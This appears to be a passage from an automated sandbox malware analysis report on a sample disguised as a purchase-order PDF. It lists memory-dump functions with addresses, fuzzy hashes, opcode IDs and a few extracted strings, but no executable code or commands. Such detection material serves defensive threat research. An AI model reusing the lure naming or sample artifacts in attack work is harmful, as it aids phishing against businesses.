Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 3593AFF8 Relevance: 11.7, Strings: 9, Instructions: 461COMMON

Download Yara Rule

Strings

PH]q, xrefs: 3593B429
PH]q, xrefs: 3593B43D
PH]q, xrefs: 3593B331
", xrefs: 3593B7CE
PH]q, xrefs: 3593B345
PH]q, xrefs: 3593B532
PH]q, xrefs: 3593B62D
PH]q, xrefs: 3593B51E
PH]q, xrefs: 3593B619

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: "$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q
API String ID: 0-3604444728
Opcode ID: 2fab9e0f5df23a71c62cd5dd5ceee782a3e6fd9f9ab4720e4894ff6b3cccf4c7
Instruction ID: 1a73026b69f2dc8065400ec0c789ee993c5e25feb8ca6848301ed18e2c0fe8ab
Opcode Fuzzy Hash: 2fab9e0f5df23a71c62cd5dd5ceee782a3e6fd9f9ab4720e4894ff6b3cccf4c7
Instruction Fuzzy Hash: 6D328E74E01218CFDB68CF65C994B9DBBB2BF89300F1081A9D909AB361DB759E85CF14

Function 35937B52 Relevance: 1.8, Strings: 1, Instructions: 584COMMON

Download Yara Rule

Strings

.5uq, xrefs: 35937C7B

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: .5uq
API String ID: 0-910421107
Opcode ID: a75edd94a6a40c25283debb6cbd78203e99e5f6e784b0e3940a3c69bdf528228
Instruction ID: 07d50421be3144fd437f7978767c12d5c68211518a4ea7324a32f5305ccb7bbf
Opcode Fuzzy Hash: a75edd94a6a40c25283debb6cbd78203e99e5f6e784b0e3940a3c69bdf528228
Instruction Fuzzy Hash: C452BC74A01228CFDB65DF69C984BDDBBB2BF89301F1085E9D809AB251DB359E85CF40

Function 32B3C1E0 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4716eec6f1b8d78a1ade3a004ac1c89facd37be0f84bbd56e390f9752abf8e13
Instruction ID: 8f4b9908cfe1a4b0ea537249e7d199a069b8928908c1ecf7a470a15f2d48e287
Opcode Fuzzy Hash: 4716eec6f1b8d78a1ade3a004ac1c89facd37be0f84bbd56e390f9752abf8e13
Instruction Fuzzy Hash: DCC1B174E01218CFDB15DFA5C994B9DBBB2FF89300F2080A9D809AB355DB349A86CF50

Function 32B3BD88 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b03d8e32e74bbe07d6d20f0b1b11b3cba6728dd959ed4d147a7b1bb74446248d
Instruction ID: 49c3f6f452d012405b5325ddd8e91c2352ffeca9c079ee8bd2132a2b0ccf9b85
Opcode Fuzzy Hash: b03d8e32e74bbe07d6d20f0b1b11b3cba6728dd959ed4d147a7b1bb74446248d
Instruction Fuzzy Hash: B8C1B174E01218CFDB15DFA5C994B9DBBB2FF89300F2084A9D909AB355DB349A85CF50

Function 32B3B07F Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43198b0759254773a6000d0b22c2f3aff188145ba577f89117473481f3fc20a2
Instruction ID: 1918fc2a7ff0c9e887e87baf15aec442f799f5cb834309d2a261df4f501cc7f1
Opcode Fuzzy Hash: 43198b0759254773a6000d0b22c2f3aff188145ba577f89117473481f3fc20a2
Instruction Fuzzy Hash: 9EC1B074E01218CFDB15DFA5C994B9DBBB2FF89300F2081A9D809AB365DB359A85CF50

Function 32B3B930 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7654aebe61aab38429b9e75f1667a3d4238e13bfb57fe02917a8de2424f9e3b1
Instruction ID: 08f12193e8141766deff7547465634a545fbd7483be32dde6599c64ecfff2b6b
Opcode Fuzzy Hash: 7654aebe61aab38429b9e75f1667a3d4238e13bfb57fe02917a8de2424f9e3b1
Instruction Fuzzy Hash: 10C1A074E01218CFDB15DFA5C994B9DBBB2FF89300F2085A9D809AB365DB349A85CF50

Function 32B3E339 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d373b6d308a75e12e7320d3d173dfbcada82892ed84dfe3de94bc9613256cf58
Instruction ID: 7b2f4d10989726da2975c4d6a9184489e2a72640596f6259113ec0c44ef43ccb
Opcode Fuzzy Hash: d373b6d308a75e12e7320d3d173dfbcada82892ed84dfe3de94bc9613256cf58
Instruction Fuzzy Hash: FDC1B174E01218CFDB15DFA5C994B9DBBB2FF89300F2080AAD908AB355DB349A85CF50

Function 32B3F042 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4b2498dd84e60de3c9841705fa609cc4ce2995b32f794c440a4e1479015b62f
Instruction ID: ef7cd23d2eb1efa63c01e0842c587dddc9dea35a73fdfacfea04b304ee127721
Opcode Fuzzy Hash: d4b2498dd84e60de3c9841705fa609cc4ce2995b32f794c440a4e1479015b62f
Instruction Fuzzy Hash: E0C1CF74E01218CFDB15DFA5C994B9DBBB2FF89300F6080A9D808AB365DB359A85CF50

Function 32B3DEE1 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d526c995a4e22e3dc1d8a300c172231fef925b2800ec3d8ea916c17d24d0f7a
Instruction ID: 32aa6f86dc92b56227bb172b336b772254807f8a67e9d7cfc647909cb73a5e1f
Opcode Fuzzy Hash: 9d526c995a4e22e3dc1d8a300c172231fef925b2800ec3d8ea916c17d24d0f7a
Instruction Fuzzy Hash: 3EC1BF74E01218CFDB15DFA5C994B9DBBB2FF89300F6080A9D808AB365DB349A85CF50

Function 35934DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5b9c66ee70c3f5752e2610e1a5b50ffc979bbf2cf29b0855b491bd3475e986a
Instruction ID: 3790d3f84f9a183f6fb05cc748747aeea2146f70fb81b6c7c504560a5da1537f
Opcode Fuzzy Hash: c5b9c66ee70c3f5752e2610e1a5b50ffc979bbf2cf29b0855b491bd3475e986a
Instruction Fuzzy Hash: B8C1BE74E01218CFDB15DFA5C994B9DBBB2FF89300F2081A9D809AB365DB349A85CF50

Function 35932560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb0ec18c50315e0291f66cb71dd1940a205cc53b0b7e5662ceabe5f1fcf0a535
Instruction ID: efc30cf99b7abb0a6852090b9bdca423d97c2e04f02c4815bb1f2a45e3e066b0
Opcode Fuzzy Hash: bb0ec18c50315e0291f66cb71dd1940a205cc53b0b7e5662ceabe5f1fcf0a535
Instruction Fuzzy Hash: D6C1AF74E01218CFDB14DFA5C994B9DBBB2FF89300F6081A9D809AB365DB359A85CF50

Function 35931CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4bd5870a2edff4388276a34f42f27bd96be2a6385d0470cf832f7df55719a31
Instruction ID: a7fc6eb864bcdcc4a817ec0eea507fdb29b251b9854ceb672cffb70f46870104
Opcode Fuzzy Hash: a4bd5870a2edff4388276a34f42f27bd96be2a6385d0470cf832f7df55719a31
Instruction Fuzzy Hash: BFC1AE74E01218CFDB14DFA5C994B9DBBB2FF89300F6081A9D809AB365DB359A85CF50

Function 359374C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b265084407a5008b8347918c9101fea8feb251810359ca83d21276d3e5369b
Instruction ID: 4b777e9f602f62aa7e8ff666a9e6f70b7ee20f41ffd84589427853b2e31dbb1a
Opcode Fuzzy Hash: 21b265084407a5008b8347918c9101fea8feb251810359ca83d21276d3e5369b
Instruction Fuzzy Hash: DEC1AD74E01218CFDB54DFA5C994B9DBBB2FF89300F2084A9D809AB365DB359A85CF50

Function 35936C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14f1ab6a8c5b4cf75e1cd2044676a580cd217c5d4486fc1d6c3a8dbbc5e5560d
Instruction ID: c640e25d0ee01af4db81a2b25f8b2ee8005b8d846c2922c1fe67372e022fe41a
Opcode Fuzzy Hash: 14f1ab6a8c5b4cf75e1cd2044676a580cd217c5d4486fc1d6c3a8dbbc5e5560d
Instruction Fuzzy Hash: 81C1BE74E01218CFDB55DFA5C994B9DBBB2FF89300F2080A9D809AB365DB359A85CF50

Function 35931400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9856b4f95c047418233c02af39a0ee9eb98fc842f92a3bfc9cd057e9dac4260d
Instruction ID: 4bbe6ddb13df41843deb4ccee3785969d1757d2f2206bf84b31ef1abad3f3e67
Opcode Fuzzy Hash: 9856b4f95c047418233c02af39a0ee9eb98fc842f92a3bfc9cd057e9dac4260d
Instruction Fuzzy Hash: DDC1AE74E01218CFDB15DFA5C994B9DBBB2FF89300F2080A9D809AB365DB359A85CF50

Function 35930FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7dc4204f359069730b61de093c77d7e2130111587364cd794a504442d34ad34
Instruction ID: 385114818d1fd1def90e5c7c426fe13d30f744797aeacdc48af193c38c261b20
Opcode Fuzzy Hash: c7dc4204f359069730b61de093c77d7e2130111587364cd794a504442d34ad34
Instruction Fuzzy Hash: B3C1AD74E01218CFDB54DFA5C994B9DBBB2FF89300F2081A9D809AB365DB359A85CF50

Function 359367C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1211847355429c556812a085809f1a2ba12f65b6c7f4ed76a6d9386857724758
Instruction ID: 0ba86b7cc5a3ceaa94ee1fdd458bba4117003cfcb80bbeab49289b362f2e0123
Opcode Fuzzy Hash: 1211847355429c556812a085809f1a2ba12f65b6c7f4ed76a6d9386857724758
Instruction Fuzzy Hash: 56C1BD74E01218CFDB54DFA5C994B9DBBB2FF89300F2081A9D809AB365DB359A85CF50

Function 35935F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a11b8f1baa0831b01f0b45ea7cb28c70e9d8d4f7db6a2e45246306df62b4b3c
Instruction ID: cd0f40dee9f20583f1b1df8aa5e13c830333821574a91b42839f0e21e6629e6c
Opcode Fuzzy Hash: 9a11b8f1baa0831b01f0b45ea7cb28c70e9d8d4f7db6a2e45246306df62b4b3c
Instruction Fuzzy Hash: 43C1BD74E01218CFDB54DFA5C994B9DBBB2FF89300F2081A9D809AB365DB359A85CF50

Function 35933F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ffa214363256ff81aa85a71192feb9dc2a8282b2a8fd497827f260997b712e0
Instruction ID: ccb3ee98df52a5f40a43312f3b3d020b29fb8388d26ab69e8e0a470470029f86
Opcode Fuzzy Hash: 4ffa214363256ff81aa85a71192feb9dc2a8282b2a8fd497827f260997b712e0
Instruction Fuzzy Hash: B1C1AF74E01218CFDB14DFA5C994B9DBBB2FF89300F6081A9D809AB365DB359A85CF50

Function 359336C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0df511e1bfba748a731a3707c9f59ca92636db32aeb98626d7984930c76138f6
Instruction ID: bd01634c7a5a48bb1e6c0dc061cd5c8e3a547c22247381e69a627185880a1b97
Opcode Fuzzy Hash: 0df511e1bfba748a731a3707c9f59ca92636db32aeb98626d7984930c76138f6
Instruction Fuzzy Hash: 4BC1AD74E01218CFDB14DFA5C994B9DBBB2FF89300F2081A9D809AB365DB359A85CF50

Function 35932E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10410767531529d79edd5d5a05485e956322b027c5582a448fffd51736b5f2b3
Instruction ID: 1dd1abc23e8a213a8c603cdc161ca31a760517427d146d39c26c99b3a449e3fb
Opcode Fuzzy Hash: 10410767531529d79edd5d5a05485e956322b027c5582a448fffd51736b5f2b3
Instruction Fuzzy Hash: 7BC1AD74E01218CFDB14DFA5C994B9DBBB2FF89300F6081A9D809AB365DB359A85CF50

Function 35935660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5096dba334d7acc69f4848f96e1a4372d102c564b66f479bdd38f39047599ab
Instruction ID: a9cf11195ebebde89edb845e664e0644c68fd54873b04166b92233344a486944
Opcode Fuzzy Hash: e5096dba334d7acc69f4848f96e1a4372d102c564b66f479bdd38f39047599ab
Instruction Fuzzy Hash: 77C1AD74E01218CFDB15DFA5C994B9DBBB2FF89300F6080A9D809AB365DB359A85CF50

Function 359329B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69aa089c0445ea2be3451e98e287f670b8ac5d296b12c413fc5276cc16dae0a7
Instruction ID: 73007f0158697041b744686b1b6eeac32f40f36b1c1fffb5a2768fb6e854800d
Opcode Fuzzy Hash: 69aa089c0445ea2be3451e98e287f670b8ac5d296b12c413fc5276cc16dae0a7
Instruction Fuzzy Hash: 6AC1AE74E01218CFDB54DFA5C994B9DBBB2FF89300F2081A9D809AB365DB359A85CF50

Function 35932108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83bb7d6d9b977bc5444435a6cff18404a6c263f0ffb531a9d3835d61e8bbbfdc
Instruction ID: 2efc962f3f22a5febea27049e84085678cede8dbeae9ccd5a83780794e851ad9
Opcode Fuzzy Hash: 83bb7d6d9b977bc5444435a6cff18404a6c263f0ffb531a9d3835d61e8bbbfdc
Instruction Fuzzy Hash: 3CC1BE74E01218CFDB14DFA5C994B9DBBB2FF89300F2080A9D809AB365DB359A85CF10

Function 35934820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a44fa213b1fd4b524f659f6e420d01ff857fc6d0953e39d718ac48fe1b596b07
Instruction ID: 004f10a4757e1181c4652906bbdf777e34e621864b50d1da75f1e4ee6bd47a05
Opcode Fuzzy Hash: a44fa213b1fd4b524f659f6e420d01ff857fc6d0953e39d718ac48fe1b596b07
Instruction Fuzzy Hash: FAC1AD74E01218CFDB54DFA5C994B9DBBB2FF89300F2081A9D809AB365DB359A85CF50

Function 35931858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7658bfcba8bb333ddca13c86edb20cd47a7843a5488b92a7428642b4078eea0
Instruction ID: 2ab9494e18e5af50939dcaa7f788676d36ec40d28270526444c8fd517fb5c0bb
Opcode Fuzzy Hash: d7658bfcba8bb333ddca13c86edb20cd47a7843a5488b92a7428642b4078eea0
Instruction Fuzzy Hash: D2C1AD74E01218CFDB15DFA5C994B9DBBB2FF89300F2080A9D809AB365DB359A85CF50

Function 35937070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0e4bab0d18571796d0b0c48c92154c959fa485b1b6d0b3b49b9e8e98c88206
Instruction ID: 8baeba1cdfe72a6df65092dbb3d81d8f6f9789f65d38789c9188b1c959e7eac7
Opcode Fuzzy Hash: 5e0e4bab0d18571796d0b0c48c92154c959fa485b1b6d0b3b49b9e8e98c88206
Instruction Fuzzy Hash: E3C1AE74E01218CFDB14DFA5C994B9DBBB2FF89300F2081A9D809AB365DB359A85CF50

Function 359343C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca5b57caec423602bad9c6dd526bd0c7c55cd735e7aafe8cfe319f36df7c38a5
Instruction ID: 06e7bc4888d24dc8705f17eccb7129b00728b8d0f8e220614c625a1788d5b882
Opcode Fuzzy Hash: ca5b57caec423602bad9c6dd526bd0c7c55cd735e7aafe8cfe319f36df7c38a5
Instruction Fuzzy Hash: F5C1AD74E01218CFDB54DFA5C994B9DBBB2FF89300F2081A9D809AB365DB359A85CF50

Function 35933B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de396b412a76025e1426032bfd5e4fba55bbc8c4d2331e1e2042575fa4260215
Instruction ID: 5b0c3eaf7efcfe12a890eab1c8657d33ea6babc9cb864eacec2b76688d8d7ec9
Opcode Fuzzy Hash: de396b412a76025e1426032bfd5e4fba55bbc8c4d2331e1e2042575fa4260215
Instruction Fuzzy Hash: CBC1BF74E01218CFDB54DFA5C994B9DBBB2FF89300F6081A9D809AB365DB349A85CF50

Function 35936368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 884c893169a1bbcee843f727757b74d3e375b0f0589708913403d5f51245dbe5
Instruction ID: 635bf2e456b2f3ca32b2509dfbd21565cc26d33bada7f1323466a432088a48d2
Opcode Fuzzy Hash: 884c893169a1bbcee843f727757b74d3e375b0f0589708913403d5f51245dbe5
Instruction Fuzzy Hash: E4C1BC74E01218CFDB54DFA5C994B9DBBB2FF89300F6081A9D809AB365DB349A85CF50

Function 35935AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b82484f3301e338667218c5a2cb30b8fda862dc11b1be2bd33ebc5cff4b74eda
Instruction ID: 9b21f7111d4b3fe5922dd096e7445026430d202f1db5a557fcc0cd842de8c9d4
Opcode Fuzzy Hash: b82484f3301e338667218c5a2cb30b8fda862dc11b1be2bd33ebc5cff4b74eda
Instruction Fuzzy Hash: 09C1AD74E01218CFDB15DFA5C994B9DBBB2FF89300F6081A9D809AB365DB349A85CF50

Function 35935208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: caaca739fa2432f5e33266e6a463d14fbaeffc1df6ff663bb333f2a9304c5bcb
Instruction ID: 53d62828945acb9cd52ff82a8b34301c099aba55275a4e72643c6cb92fb210f9
Opcode Fuzzy Hash: caaca739fa2432f5e33266e6a463d14fbaeffc1df6ff663bb333f2a9304c5bcb
Instruction Fuzzy Hash: B5C1BD74E01218CFDB15DFA5C994B9DBBB2FF89300F2081A9D809AB365DB349A85CF50

Function 35933268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54b22b00b9c0eae362f41315bcbd7a78772d9c8eac6c073ac1f7b6fe6cc330b0
Instruction ID: 265aecfe4787ae7b632f1e166aec1557c1787c938c63ec2ba754102325811cff
Opcode Fuzzy Hash: 54b22b00b9c0eae362f41315bcbd7a78772d9c8eac6c073ac1f7b6fe6cc330b0
Instruction Fuzzy Hash: 56C1BE74E01218CFDB15DFA5C994B9DBBB2FF89300F2081A9D809AB365DB349A85CF50

Function 32B3EBF7 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c03374e083695d0b55871d0fecfd35a4004305b339695ecc2487bbabd442baf
Instruction ID: 3ce8e6bd3e1dea61f17cc298131c61603f97f8f9ff16e6b49ab8c058cdf3175d
Opcode Fuzzy Hash: 7c03374e083695d0b55871d0fecfd35a4004305b339695ecc2487bbabd442baf
Instruction Fuzzy Hash: 88C1B074E01218CFDB55DFA5C994B9DBBB2FF89300F2080A9D908AB365DB349A85CF50

Function 32B3E79F Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55e8b05040d744f39d3865e8e46acc10e7c8f6a12a46085cf35947a8c6fe89cf
Instruction ID: 5922d6594ec7dd9267568efb626ae282671a2b5015ea93a7b834cbfd017e10b5
Opcode Fuzzy Hash: 55e8b05040d744f39d3865e8e46acc10e7c8f6a12a46085cf35947a8c6fe89cf
